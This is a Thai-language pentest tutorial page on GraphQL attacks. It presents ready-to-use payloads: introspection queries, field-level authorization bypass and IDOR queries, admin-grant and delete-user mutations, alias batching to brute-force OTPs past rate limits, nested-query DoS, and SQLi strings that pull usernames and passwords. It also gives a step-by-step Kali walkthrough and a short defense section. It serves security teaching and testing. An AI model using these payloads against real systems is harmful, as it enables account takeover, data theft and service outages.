คลัง
web

GraphQL Attacks

GraphQL เป็น query language สำหรับ API ที่ให้ client ระบุข้อมูลที่ต้องการเอง ผ่าน endpoint เดียว ช่องโหว่หลักพบที่ introspection ที่เปิดทิ้งไว้, การข้าม authorization ระดับ field/resolver, IDOR, batching เพื่อ brute/bypass rate limit, DoS จาก nested query และ injection ที่ argument บทนี้ไล่ตั้งแต่การ enumerate schema จนถึงการยกระดับ

IntermediateAdvanced#graphql#introspection#idor#dos#batching#authorization#api#web

1. พื้นฐาน GraphQL

GraphQL มี endpoint เดียว (มัก /graphql) รับ query ที่ client กำหนด field เอง มี 3 operation: query (อ่าน), mutation (เขียน), subscription (realtime) จุดต่างจาก REST คือ schema เปิดเผยโครงสร้างทั้งหมดได้ผ่าน introspection และ authorization ต้องเช็คที่ระดับ field/resolver แต่ละตัว ซึ่งมักพลาด เพราะ dev คิดว่าซ่อน field ใน UI แล้วปลอดภัย

GraphQL — endpoint เดียว, resolver ต่อ field
client query /graphql schema + resolvers resolver: user() resolver: user.email resolver: user.pwHash authz ต้องเช็คทุก resolver — pwHash มักลืม
หา endpoint: /graphql, /api/graphql, /v1/graphql, /graphql/console, /graphiql (IDE), /playground — ลองทั้ง GET (?query=) และ POST; universal query {__typename} ตอบ = เป็น GraphQL

2. Introspection — ดึง schema ทั้งหมด

introspection คือ feature มาตรฐานที่ให้ query โครงสร้าง schema ได้ (types, fields, args, mutations) ถ้าเปิดใน production = แผนที่ทั้งระบบให้ผู้โจมตี

Introspection query
# probe สั้น — เปิดไหม?
{ __schema { queryType { name } } }

# full introspection (ย่อ) — ดึง type + field + args
{ __schema {
    queryType { name }
    mutationType { name }
    types {
      name kind
      fields { name args { name type { name } } type { name kind } }
    }
} }

# ดู field ของ type เดียว
{ __type(name: "User") { name fields { name type { name } } } }
full introspection query มาตรฐานยาวมาก — ใช้ InQL หรือ GraphQL Voyager ยิงและ visualize ให้; ถ้า POST ถูกปิด ลอง GET ?query=
ถ้า introspection ปิด — clairvoyance เดา schemaLinux
# clairvoyance ใช้ error message ("did you mean ...") เดา field ทีละตัว
pip install clairvoyance
python3 -m clairvoyance -o schema.json https://target/graphql

# graphql-cop — audit ช่องโหว่ config อัตโนมัติ
pip install graphql-cop
graphql-cop -t https://target/graphql

# InQL (Burp extension) — introspect + สร้าง query/mutation template ให้
แม้ปิด introspection แต่ field suggestion (error 'Did you mean X') มักยังเปิด → clairvoyance เดาได้; ปิด suggestion ด้วยถึงจะกันได้จริง
ถ้า introspection ปิดและ suggestion ปิด ลองเดา field จาก client JS bundle (query ที่ frontend ส่ง), mobile app, หรือ error verbose อื่นๆ

3. Authorization bypass และ IDOR

ช่องโหว่พบบ่อยสุดคือ authz เช็คไม่ครบทุก resolver — field ที่ไวต่อข้อมูล (passwordHash, isAdmin, internal note) ตอบกลับมาแม้ผู้ใช้ไม่ควรเห็น; และ IDOR คือ query object ด้วย id ของคนอื่น

authz bypass — ขอ field ที่ไม่ควรเข้าถึง
# UI ไม่แสดง passwordHash แต่ resolver ไม่ได้เช็ค → ตอบมา
query {
  users {
    id
    username
    passwordHash      # ไม่ควรอ่านได้ แต่ resolver ลืมเช็ค
    email
    isAdmin
  }
}

# IDOR — ขอ user คนอื่นด้วย id (เหมือน IDOR ทั่วไป)
query {
  user(id: 1001) { id username email address }
}
ลองเดา field ไวต่อข้อมูลจาก introspection: password, token, secret, apiKey, ssn, internal
Mutation ที่ไม่ป้องกัน — เปลี่ยน role/data ตรงๆ
# mutation ที่ควรเป็นของ admin แต่เข้าถึงได้
mutation {
  updateUser(id: 1337, role: "admin") { id role }
}

mutation {
  deleteUser(id: 2)         # ลบผู้ใช้อื่น
  resetPassword(userId: 3)  # reset ของคนอื่น
}

4. Batching → bypass rate limit / brute-force

GraphQL ยิงหลาย operation ใน request เดียวได้ 2 แบบ: (1) alias batching — ตั้งชื่อ alias ให้ field ซ้ำใน 1 query, (2) array batching — ส่ง array ของ query ใน JSON เดียว ทั้งคู่ทำให้ rate limit ที่นับ 'ต่อ HTTP request' ถูก bypass เพราะเราส่ง 100 attempt ใน 1 request

Alias batching — brute OTP/password ใน request เดียว
mutation {
  a1: login(user:"admin", pass:"0001") { token }
  a2: login(user:"admin", pass:"0002") { token }
  a3: login(user:"admin", pass:"0003") { token }
  # ... a9999: login(...) { token }
}
# rate limit นับ 1 request แต่เราลอง 9999 รหัสในนั้น
เหมาะกับ brute 2FA/OTP ที่มี keyspace เล็ก (0000-9999); ต่อยอดกับ race condition ได้
Array batching (JSON) — ส่งหลาย operation
[
  {"query":"mutation{login(user:\"admin\",pass:\"p1\"){token}}"},
  {"query":"mutation{login(user:\"admin\",pass:\"p2\"){token}}"},
  {"query":"mutation{login(user:\"admin\",pass:\"p3\"){token}}"}
]
ไม่ใช่ทุก server รองรับ array batching — apollo ต้องเปิด; ถ้าไม่ได้ ใช้ alias batching แทน

5. DoS (nested query) และ injection

DoS: ถ้า schema มีความสัมพันธ์แบบวน (เช่น post → author → posts → author ...) query ซ้อนลึกทำให้ resolver ทำงานแบบ exponential เซิร์ฟเวอร์ที่ไม่มี depth/cost limit จะล่ม

Nested / circular query — DoS
query {
  posts {
    author {
      posts {
        author {
          posts {
            author { posts { title } }
          }
        }
      }
    }
  }
}
# ยิ่งซ้อนลึก resolver ยิ่งระเบิด → CPU/DB overload
ทดสอบบน lab/scope เท่านั้น — DoS จริงกระทบบริการ; ใช้เป็นการยืนยันว่าไม่มี depth limit เท่านั้น

Injection ที่ argument: ค่าที่ส่งเข้า argument (เช่น filter, id, search) อาจถูกเอาไปต่อ query database ตรงๆ → SQLi/NoSQLi ผ่าน GraphQL ลอง payload injection ปกติใน argument

SQLi ผ่าน GraphQL argument
query {
  users(filter: "1' OR '1'='1") { id username }
}
query {
  product(category: "x') UNION SELECT username,password FROM users-- ") { name }
}
# ถ้า resolver เอา argument ไปต่อ SQL → error หรือ data รั่ว
ดู error ว่า leak SQL/DB syntax; ต่อยอดตามหัวข้อ SQL Injection / NoSQL Injection

6. Decision flow

เจอ GraphQL endpoint — ไล่ตามนี้
ยืนยันเป็น GraphQL: {__typename}
ลอง /graphql /graphiql GET+POST
introspection เปิดไหม?
เปิดดึง schema เต็ม (InQL/Voyager)
ปิดclairvoyance เดา + อ่าน client JS
map query/mutation ที่ไวต่อข้อมูล
user, admin, token, reset
ทดสอบช่องโหว่
field ไวหลุด→ authz bypass / IDOR
argument ต่อ DB→ SQLi/NoSQLi
มี rate limit→ alias batching brute
schema วน→ nested query DoS

7. เครื่องมือ

  • InQL (Burp extension) — introspect, สร้าง query/mutation template, ส่งเข้า Repeater
  • graphql-cop — audit misconfiguration (introspection, batching, field suggestion, CSRF)
  • clairvoyance — reconstruct schema เมื่อ introspection ปิดแต่ suggestion เปิด
  • GraphQL Voyager — visualize schema เป็นกราฟ (เข้าใจ relation → หา nested DoS/IDOR)
  • graphw00f — fingerprint GraphQL engine (Apollo, Hasura, graphql-ruby ...) เพื่อรู้ CVE เฉพาะ
  • Burp Repeater — ยิง batching/injection payload ปรับมือ
workflow เครื่องมือLinux
# fingerprint engine
graphw00f -d -t https://target/graphql

# audit config
graphql-cop -t https://target/graphql -o json

# ปิด introspection → เดา schema
python3 -m clairvoyance https://target/graphql -o schema.json

# InQL: Burp → Extensions → InQL → ใส่ URL → generate queries

8. ข้อผิดพลาด & troubleshooting

  • ลืมลอง GET: POST ถูกปิด/ต้อง CSRF token แต่ GET ?query= เปิด — ลองทั้งคู่
  • Content-Type ผิด: บาง server ต้อง application/json, บางตัวรับ application/graphql — ลองสลับ
  • introspection ปิดแล้วยอมแพ้: field suggestion มักยังเปิด → clairvoyance ได้
  • batching ไม่ทำงาน: server ปิด array batching → ใช้ alias batching แทน
  • __typename ทุกที่: ใช้ยืนยัน GraphQL แต่ระวัง WAF ที่ block introspection keyword — ลอง obfuscate/whitespace
  • CSRF บน GraphQL: ถ้ารับ GET หรือ x-www-form-urlencoded อาจทำ CSRF ได้ (graphql-cop เช็คให้)

9. การป้องกัน

  • ปิด introspection และ field suggestion ใน production
  • เช็ค authorization ที่ ทุก resolver/field ไม่ใช่แค่ query root
  • ตั้ง query depth limit และ cost/complexity analysis (กัน nested DoS)
  • จำกัด/ปิด batching หรือใส่ rate limit ที่นับระดับ operation ไม่ใช่ระดับ HTTP request
  • ใช้ parameterized query ใน resolver (กัน SQLi/NoSQLi)
  • ปิด GraphiQL/Playground ใน production; ตั้ง CSRF protection (require JSON + custom header)
  • ตั้ง timeout + max query size; log query ที่ผิดปกติ (ลึก/ยาว/batching เยอะ)

10. Quick Reference

  • หา endpoint: /graphql /graphiql /playground + ลอง GET/POST
  • ยืนยัน: {__typename}; introspection: {__schema{types{name}}}
  • introspection ปิด → clairvoyance (ผ่าน field suggestion)
  • authz bypass + IDOR ที่ระดับ field/resolver (passwordHash, isAdmin)
  • batching (alias/array) → bypass rate limit / brute OTP
  • nested/circular query → DoS; argument → SQLi/NoSQLi
  • เครื่องมือ: InQL, graphql-cop, clairvoyance, Voyager, graphw00f
  • ป้องกัน: ปิด introspection+suggestion, authz ทุก resolver, depth/cost limit

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเจอ endpoint ที่สงสัยว่าเป็น GraphQL (เช่น /graphql หรือ API ที่รับ query แปลกๆ) มีแค่ Kali เปล่าๆ ไล่ตามนี้ทีละขั้น

  1. 1ยืนยันว่าเป็น GraphQL: curl -s https://target/graphql -X POST -H 'Content-Type: application/json' -d '{"query":"{__typename}"}'
  2. 2ถ้าไม่ได้ผลลอง path อื่น: /api/graphql, /v1/graphql, /graphiql, /playground และลอง GET ?query= ด้วย
  3. 3เปิด Burp Suite → Extensions → BApp Store → ติดตั้ง 'InQL' (ฟรี)
  4. 4ใน InQL ใส่ URL endpoint แล้วให้มัน introspect schema และสร้าง query/mutation template ให้อัตโนมัติ
  5. 5ถ้า introspection ปิด ให้ลอง: pip install clairvoyance แล้ว python3 -m clairvoyance -o schema.json https://target/graphql
  6. 6ไล่ดู query/mutation ที่ InQL สร้างให้ หา field ที่ไวต่อข้อมูล (password, token, isAdmin, secret)
  7. 7ยิง query ที่ขอ field เหล่านั้นตรงๆ ผ่าน Burp Repeater ดูว่า resolver เช็ค authorization ไหม
  8. 8ทดสอบ IDOR: เปลี่ยน id ใน query เป็นของผู้ใช้อื่น (query { user(id: 1001) { email } })
  9. 9ทดสอบ rate-limit bypass: ใช้ alias batching ยิงหลาย login/mutation ใน request เดียว (a1: login(...) a2: login(...))
  10. 10ถ้าเจอ argument ที่รับ string อิสระ ลองยิง payload SQLi พื้นฐาน ('1' OR '1'='1) ดู error message
Decision flow — จับมือทำ GraphQL Attacks
ยืนยันเป็น GraphQL ด้วย {__typename}
ลอง /graphql /graphiql GET+POST
introspection เปิดไหม?
✅ เปิด→ ดึง schema เต็มด้วย InQL
❌ ปิด→ ใช้ clairvoyance เดา schema
map query/mutation ที่ไวต่อข้อมูล
user, admin, token, reset
field ไวต่อข้อมูลหลุดออกมาไหม?
✅ หลุด (passwordHash, isAdmin)→ authz bypass / IDOR
❌ resolver เช็คครบ→ ลอง argument injection แทน
argument รับ input อิสระที่ต่อ DB ไหม?
✅ ต่อ DB ตรงๆ→ SQLi/NoSQLi
❌ ไม่มีช่องเลย→ ลอง batching/DoS แทน
ลอง alias batching brute หรือ nested query DoS
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
introspect + สร้าง query/mutation templateBurp Suite CommunityInQL (BApp Store)-
เดา schema เมื่อ introspection ปิด-pip install clairvoyance-
audit config/misconfig อัตโนมัติ-pip install graphql-cop-
fingerprint GraphQL engine-git clone dolevf/graphw00f-
visualize schema เป็นกราฟ--graphql-voyager
ยิง alias batching / injection ด้วยมือBurp Repeater/Intruder--
🚑 ถ้าตันสนิท ลองท่าถัดไป: IDOR — ถ้า field ไวต่อข้อมูลหลุดออกมาแต่ resolver อื่นยังปิดอยู่ ให้ไล่ดู id-based query ทั่วทั้ง schema; SQL Injection — ถ้า argument ที่รับ string ต่อ query DB ตรงๆ; Race Condition — ถ้ามี rate limit ที่ป้องกัน brute อยู่แล้วแต่ alias batching ยังไม่พอ ให้ลองผสมกับ single-packet race

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้